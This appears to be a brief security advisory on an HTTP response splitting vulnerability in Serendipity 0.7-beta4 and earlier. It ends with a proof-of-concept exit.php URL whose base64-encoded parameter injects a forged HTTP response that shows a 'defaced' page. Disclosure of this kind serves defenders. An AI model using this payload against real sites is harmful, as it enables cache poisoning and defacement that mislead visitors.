source: https://www.securityfocus.com/bid/11497/info

Serendipity is reported prone to an HTTP response splitting vulnerability.

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted.

This issue is identified in Serendipity 0.7-beta4 and prior.

http://www.example.com/serendipity/exit.php?url=DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb
250ZW50LUxlbmd0aDogMA0KDQpIVFRQLzEuMCAyMDAgT0sNCkNvbnRlbnQtTGVuZ3RoOiAyMQ0KQ
29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCg0KPGh0bWw%2bKmRlZmFjZWQqPC9odG1sPg%3d%3d